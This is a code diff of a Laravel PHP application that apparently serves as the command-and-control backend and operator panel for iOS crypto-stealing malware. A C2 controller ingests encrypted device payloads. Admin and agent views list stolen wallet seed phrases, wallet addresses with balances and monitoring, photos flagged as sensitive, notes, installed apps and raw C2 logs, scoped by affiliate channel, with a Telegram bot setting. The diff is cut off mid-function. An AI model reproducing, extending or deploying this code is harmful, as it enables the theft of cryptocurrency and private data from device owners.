'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'created_at' => optional($addr->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($addr->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateMnemonics(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->mnemonics()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletMnemonic $w) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source' => $w->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
|
||||
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'is_wallet';
|
||||
$order = 'desc';
|
||||
}
|
||||
$q = $device->apps();
|
||||
if ($field === 'is_wallet') {
|
||||
$q->orderByDesc('is_wallet')->orderBy('name');
|
||||
} else {
|
||||
$q->orderBy($field, $order);
|
||||
}
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (DeviceApp $app) {
|
||||
return [
|
||||
'id' => $app->id,
|
||||
'name' => $app->name ?: '',
|
||||
'bundle_id' => $app->bundle_id ?: '',
|
||||
'version' => $app->version ?: '',
|
||||
'is_wallet' => (bool) $app->is_wallet,
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->notes()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (Note $note) {
|
||||
$content = $note->content;
|
||||
if (is_array($content)) {
|
||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $note->id,
|
||||
'content' => $content ?: '',
|
||||
'created_at' => optional($note->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($note->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateEvents(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'event_name', 'desc', 'created_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->events()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (DeviceEvent $ev) {
|
||||
return [
|
||||
'id' => $ev->id,
|
||||
'event_name' => $ev->event_name ?: '',
|
||||
'desc' => $ev->desc ?: '',
|
||||
'context' => $ev->context_json
|
||||
? json_encode($ev->context_json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
: '',
|
||||
'created_at' => optional($ev->created_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
*/
|
||||
private function layuiPage(int $count, $data)
|
||||
{
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $count,
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'agent_user_id' => (int) $request->query('agent_user_id', 0),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
$q = Device::query()->select('devices.*');
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('devices.device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
if ($filters['ip'] !== '') {
|
||||
$q->where('devices.ip', 'like', '%'.$filters['ip'].'%');
|
||||
}
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
|
||||
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
|
||||
}
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
||||
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
||||
}
|
||||
if (! $this->isAgentPortal() && $filters['agent_user_id'] > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class MnemonicController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
$sources = WalletMnemonic::query()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source');
|
||||
|
||||
return view('admin.mnemonics.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'source', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_mnemonics.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletMnemonic::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||
->select([
|
||||
'wallet_mnemonics.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_mnemonics.source', $source);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,99 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Note;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class NoteController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.notes.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('notes.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
$content = $row->content;
|
||||
if (is_array($content)) {
|
||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'content' => $content ?: '',
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = Note::query()
|
||||
->join('devices', 'devices.id', '=', 'notes.device_id')
|
||||
->select([
|
||||
'notes.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class PhotoController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.photos.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'size', 'x_hit', 'created_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('photos.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
|
||||
'size' => $row->size,
|
||||
'x_hit' => $row->x_hit,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = Photo::query()
|
||||
->join('devices', 'devices.id', '=', 'photos.device_id')
|
||||
->select([
|
||||
'photos.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('photos.x_hit', '>', 0);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\File;
|
||||
|
||||
class RawLogController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
{
|
||||
$dir = public_path('log/c2');
|
||||
$files = [];
|
||||
if (is_dir($dir)) {
|
||||
foreach (File::files($dir) as $file) {
|
||||
if ($file->getExtension() !== 'log') {
|
||||
continue;
|
||||
}
|
||||
$files[] = [
|
||||
'name' => $file->getFilename(),
|
||||
'size' => $file->getSize(),
|
||||
'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
|
||||
];
|
||||
}
|
||||
usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
|
||||
}
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
|
||||
return view('admin.logs.index', compact('files', 'path', 'device'));
|
||||
}
|
||||
|
||||
public function show(Request $request, string $file)
|
||||
{
|
||||
$safe = basename($file);
|
||||
if (! preg_match('/^\d{8}\.log$/', $safe)) {
|
||||
abort(404);
|
||||
}
|
||||
$full = public_path('log/c2/'.$safe);
|
||||
abort_unless(is_file($full), 404);
|
||||
|
||||
$path = trim((string) $request->query('path', ''));
|
||||
$device = trim((string) $request->query('device', ''));
|
||||
$raw = (string) file_get_contents($full);
|
||||
$chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
|
||||
$entries = [];
|
||||
foreach ($chunks as $chunk) {
|
||||
$chunk = trim($chunk);
|
||||
if ($chunk === '') {
|
||||
continue;
|
||||
}
|
||||
if ($path !== '' && ! str_contains($chunk, $path)) {
|
||||
continue;
|
||||
}
|
||||
if ($device !== '' && ! str_contains($chunk, $device)) {
|
||||
continue;
|
||||
}
|
||||
$entries[] = $chunk;
|
||||
}
|
||||
$entries = array_reverse($entries);
|
||||
|
||||
return view('admin.logs.show', [
|
||||
'file' => $safe,
|
||||
'entries' => $entries,
|
||||
'path' => $path,
|
||||
'device' => $device,
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\SettingsService;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class SystemSettingsController extends Controller
|
||||
{
|
||||
public function index(SettingsService $settings)
|
||||
{
|
||||
return view('admin.system.settings', [
|
||||
'form' => $settings->effectiveForForm(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, SettingsService $settings)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'telegram_bot_token' => ['nullable', 'string', 'max:255'],
|
||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'channels_max_per_agent' => ['nullable', 'integer', 'min:1', 'max:100'],
|
||||
'channels_domains' => ['nullable', 'string', 'max:4000'],
|
||||
]);
|
||||
|
||||
$domains = SettingsService::parseDomains($data['channels_domains'] ?? null);
|
||||
|
||||
$settings->putMany([
|
||||
'telegram.bot_token' => $data['telegram_bot_token'] ?? null,
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'channels.max_per_agent' => isset($data['channels_max_per_agent'])
|
||||
? (string) $data['channels_max_per_agent']
|
||||
: null,
|
||||
// Persist normalized comma-separated list (empty clears override to []).
|
||||
'channels.domains' => $domains === [] ? '' : implode(',', $domains),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已保存']);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class WalletAddressController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
$sources = WalletAddress::query()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source');
|
||||
|
||||
return view('admin.addresses.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'sources' => $sources,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = $this->baseQuery($request);
|
||||
|
||||
$sortable = ['id', 'address', 'chain_type', 'source', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy('wallet_addresses.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||
/** @var WalletAddress $row */
|
||||
$coins = $row->formattedCoins();
|
||||
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'device_key' => $row->device_key ?: '',
|
||||
'channel_id' => $row->device_channel_id ?: '',
|
||||
'source' => $row->source ?: '',
|
||||
'chain_type' => $row->chain_type ?: '',
|
||||
'address' => $row->address,
|
||||
'usdt' => $coins['usdt'],
|
||||
'trx' => $coins['trx'],
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'monitor' => (int) $row->monitor,
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, WalletAddress $address)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'monitor' => ['required', 'integer', 'in:0,1'],
|
||||
]);
|
||||
|
||||
$allowed = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->where('wallet_addresses.id', $address->id);
|
||||
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||
if (! $allowed->exists()) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
|
||||
$address->monitor = (int) $data['monitor'];
|
||||
$address->save();
|
||||
|
||||
try {
|
||||
app(TokenviewMonitorService::class)->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview syncMonitor failed: '.$e->getMessage(), [
|
||||
'wallet_address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => ['id' => $address->id, 'monitor' => (int) $address->monitor],
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
{
|
||||
$q = WalletAddress::query()
|
||||
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
|
||||
->select([
|
||||
'wallet_addresses.*',
|
||||
'devices.device_id as device_key',
|
||||
'devices.channel_id as device_channel_id',
|
||||
]);
|
||||
|
||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||
$source = trim((string) $request->query('source', ''));
|
||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if ($deviceKey !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||
}
|
||||
if ($source !== '') {
|
||||
$q->where('wallet_addresses.source', $source);
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Agent;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class AuthController extends Controller
|
||||
{
|
||||
public function showLogin()
|
||||
{
|
||||
if (Auth::guard('agent')->check()) {
|
||||
return redirect()->route('user.home');
|
||||
}
|
||||
|
||||
return view('user.login');
|
||||
}
|
||||
|
||||
public function home()
|
||||
{
|
||||
return view('user.shell');
|
||||
}
|
||||
|
||||
public function login(Request $request)
|
||||
{
|
||||
$credentials = $request->validate([
|
||||
'username' => 'required|string',
|
||||
'password' => 'required|string',
|
||||
]);
|
||||
|
||||
/** @var User|null $user */
|
||||
$user = User::query()->where('username', $credentials['username'])->first();
|
||||
if ($user && ! $user->isEnabled()) {
|
||||
return back()->withErrors(['username' => '账号已禁用'])->onlyInput('username');
|
||||
}
|
||||
|
||||
if (Auth::guard('agent')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
$request->boolean('remember')
|
||||
)) {
|
||||
$request->session()->regenerate();
|
||||
|
||||
return redirect()->intended(route('user.home'));
|
||||
}
|
||||
|
||||
return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
|
||||
}
|
||||
|
||||
public function logout(Request $request)
|
||||
{
|
||||
Auth::guard('agent')->logout();
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect()->route('user.login');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class C2Controller extends Controller
|
||||
{
|
||||
/** @var CorunaCrypto */
|
||||
private $crypto;
|
||||
|
||||
/** @var CorunaArchive */
|
||||
private $archive;
|
||||
|
||||
/** @var IngestService */
|
||||
private $ingest;
|
||||
|
||||
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
|
||||
{
|
||||
$this->crypto = $crypto;
|
||||
$this->archive = $archive;
|
||||
$this->ingest = $ingest;
|
||||
}
|
||||
|
||||
public function query(): Response
|
||||
{
|
||||
return response('OK', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
public function avatarSet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
public function userGet(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestInstalledApps($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
public function avatarPut(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
|
||||
